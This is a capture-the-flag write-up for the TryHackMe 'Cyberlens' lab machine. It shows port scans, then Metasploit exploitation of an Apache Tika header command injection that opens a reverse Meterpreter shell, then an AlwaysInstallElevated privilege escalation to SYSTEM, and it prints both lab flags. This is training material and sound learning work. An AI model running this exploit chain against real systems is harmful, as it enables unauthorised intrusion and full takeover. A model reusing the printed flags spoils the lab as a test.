Cyberlens (THM)

machine ip :-> 10.10.223.107

```
┌──(sohamt㉿CyberCreedPC)-[~/Downloads]
└─$ ping 10.10.223.107
PING 10.10.223.107 (10.10.223.107) 56(84) bytes of data.
64 bytes from 10.10.223.107: icmp_seq=1 ttl=124 time=166 ms
64 bytes from 10.10.223.107: icmp_seq=2 ttl=124 time=405 ms
64 bytes from 10.10.223.107: icmp_seq=3 ttl=124 time=224 ms
64 bytes from 10.10.223.107: icmp_seq=4 ttl=124 time=247 ms
64 bytes from 10.10.223.107: icmp_seq=5 ttl=124 time=270 ms
^C
--- 10.10.223.107 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms
rtt min/avg/max/mdev = 165.874/262.357/404.844/79.182 ms
```

machine is on!!!!

```
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Apache httpd 2.4.57 ((Win64))
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.57 (Win64)
|_http-title: CyberLens: Unveiling the Hidden Matrix
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=CyberLens
| Not valid before: 2024-08-12T13:52:14
|_Not valid after:  2025-02-11T13:52:14
|_ssl-date: 2024-08-13T15:03:43+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: CYBERLENS
|   NetBIOS_Domain_Name: CYBERLENS
|   NetBIOS_Computer_Name: CYBERLENS
|   DNS_Domain_Name: CyberLens
|   DNS_Computer_Name: CyberLens
|   Product_Version: 10.0.17763
|_  System_Time: 2024-08-13T15:03:33+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-server-header: Microsoft-HTTPAPI/2.0
```

Did an nmap scan and found some results. According to the versioning scans i am assuming that it is running a windows server and SMB but also has a web server running.

NOTE:- Didn't find anything pleasing in the dir scan of gobuster.

```
fetch("http://cyberlens.thm:61777/meta", {
  method: "PUT",
  body: fileData,
  headers: {
    "Accept": "application/json",
    "Content-Type": "application/octet-stream"
  }
})
.then(response => {
  if (response.ok) {
    return response.json();
  } else {
```

Found this js code in code snippet. It seems like the website is fetching some information from an unrecognized port which didn't come in port scanning and let's see it manually.

Apache Tika server is running. Let's see if we can find some exploits or not.

Didn't find anything pleasing on exploit-db but found a module in metasploit.

```
msf6 > search apache tika

Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   -  ----                                          ---------------  ----       -----  -----------
   0  exploit/windows/http/apache_tika_jp2_jscript  2018-04-25       excellent  Yes    Apache Tika Header Command Inj
ection


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/apache_tika_jp2_jscrip
t

msf6 >
```

```
msf6 exploit(windows/http/apache_tika_jp2_jscript) > set LHOST 10.17.68.223
LHOST => 10.17.68.223
msf6 exploit(windows/http/apache_tika_jp2_jscript) > set RPORT 61777
RPORT => 61777
msf6 exploit(windows/http/apache_tika_jp2_jscript) > SET RHOSTS 10.10.223.107
[-] Unknown command: SET. Did you mean set? Run the help command for more details.
msf6 exploit(windows/http/apache_tika_jp2_jscript) > set RHOSTS 10.10.223.107
\RHOSTS => 10.10.223.107
msf6 exploit(windows/http/apache_tika_jp2_jscript) > run

[*] Started reverse TCP handler on 10.17.68.223:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress -   8.10% done (7999/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress -  16.19% done (15998/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress -  24.29% done (23997/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress -  32.39% done (31996/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress -  40.48% done (39995/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Sending stage (176198 bytes) to 10.10.223.107
[*] Command Stager progress -  48.58% done (47994/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress -  56.67% done (55993/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress -  64.77% done (63992/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Meterpreter session 1 opened (10.17.68.223:4444 -> 10.10.223.107:49953) at 2024-08-13 20:44:58 +0530
[*] Command Stager progress -  72.87% done (71991/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress -  80.96% done (79990/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress -  89.06% done (87989/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress -  97.16% done (95988/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Sending stage (176198 bytes) to 10.10.223.107
[*] Command Stager progress - 100.00% done (98798/98798 bytes)

meterpreter >
```

set all the options and we will get a meterpreter session.

```
meterpreter > getuid
Server username: CYBERLENS\CyberLens
meterpreter > ls
Listing: C:\Users\CyberLens\Desktop
===================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  527   fil   2016-06-21 21:06:17 +0530  EC2 Feedback.website
100666/rw-rw-rw-  554   fil   2016-06-21 21:06:23 +0530  EC2 Microsoft Windows Guide.website
100666/rw-rw-rw-  282   fil   2023-06-07 01:18:33 +0530  desktop.ini
100666/rw-rw-rw-  25    fil   2023-06-07 01:24:19 +0530  user.txt

meterpreter > cat user.txt
THM{T1k4-CV3-f0r-7h3-w1n}meterpreter >
```

so first did "getuid" which is just like "id" command in linux to see username we are logged in as. Then got a file named user.txt so viewed the contents and got the first flag.

```
THM{T1k4-CV3-f0r-7h3-w1n}meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/http/apache_tika_jp2_jscript) > search exploit suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester  .                normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf6 exploit(windows/http/apache_tika_jp2_jscript) >
```

now background the session using "background" command and will be using a module

named "exploit suggester" which will suggest the exploit we can use on the target machine depending upon the background session of meterpreter.

```
msf6 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.223.107 - Collecting local exploits for x86/windows...
[*] Collecting exploit 487 / 2420
```

```
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.223.107 - Collecting local exploits for x86/windows...
[*] 10.10.223.107 - 195 exploit checks are being tried...
[+] 10.10.223.107 - exploit/windows/local/always_install_elevated: The target is vulnerable.
[+] 10.10.223.107 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.10.223.107 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[+] 10.10.223.107 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[+] 10.10.223.107 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could
not be validated.
[*] Running check method for exploit 41 / 41
[*] 10.10.223.107 - Valid modules for session 1:
============================

 #   Name                                                Potentially Vulnerable?  Check Result
 -   ----                                                -----------------------  ------------
 1   exploit/windows/local/always_install_elevated       Yes                      The target is vulnerable
.
 2   exploit/windows/local/bypassuac_sluihijack          Yes                      The target appears to be
 vulnerable.
 3   exploit/windows/local/cve_2020_1048_printerdemon    Yes                      The target appears to be
 vulnerable.
 4   exploit/windows/local/cve_2020_1337_printerdemon    Yes                      The target appears to be
 vulnerable.
 5   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running,
but could not be validated.
```

so this module suggested some solutions depending upon our target machine. Will be using first one which can be used to become admin.

```
msf6 exploit(windows/local/always_install_elevated) > set LHOST 10.17.68.223
LHOST => 10.17.68.223
msf6 exploit(windows/local/always_install_elevated) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/always_install_elevated) > run

[*] Started reverse TCP handler on 10.17.68.223:4444
[*] Uploading the MSI to C:\Users\CYBERL~1\AppData\Local\Temp\1\qRXENQm.msi ...
[*] Executing MSI...
[*] Sending stage (176198 bytes) to 10.10.223.107
[+] Deleted C:\Users\CYBERL~1\AppData\Local\Temp\1\qRXENQm.msi
[*] Meterpreter session 2 opened (10.17.68.223:4444 -> 10.10.223.107:49960) at 2024-08-13 20:54:20 +0530

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

became admin now just need the last flag.

```
meterpreter > cd Desktop
meterpreter > ls
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  527   fil   2016-06-21 21:06:17 +0530  EC2 Feedback.website
100666/rw-rw-rw-  554   fil   2016-06-21 21:06:23 +0530  EC2 Microsoft Windows Guide.website
100666/rw-rw-rw-  24    fil   2023-11-28 01:20:45 +0530  admin.txt
100666/rw-rw-rw-  282   fil   2021-03-17 20:43:27 +0530  desktop.ini

meterpreter > cat admin.txt
THM{3lev@t3D-4-pr1v35c!}meterpreter >
```

found admin flag in Desktop folder/Directory of Administrator.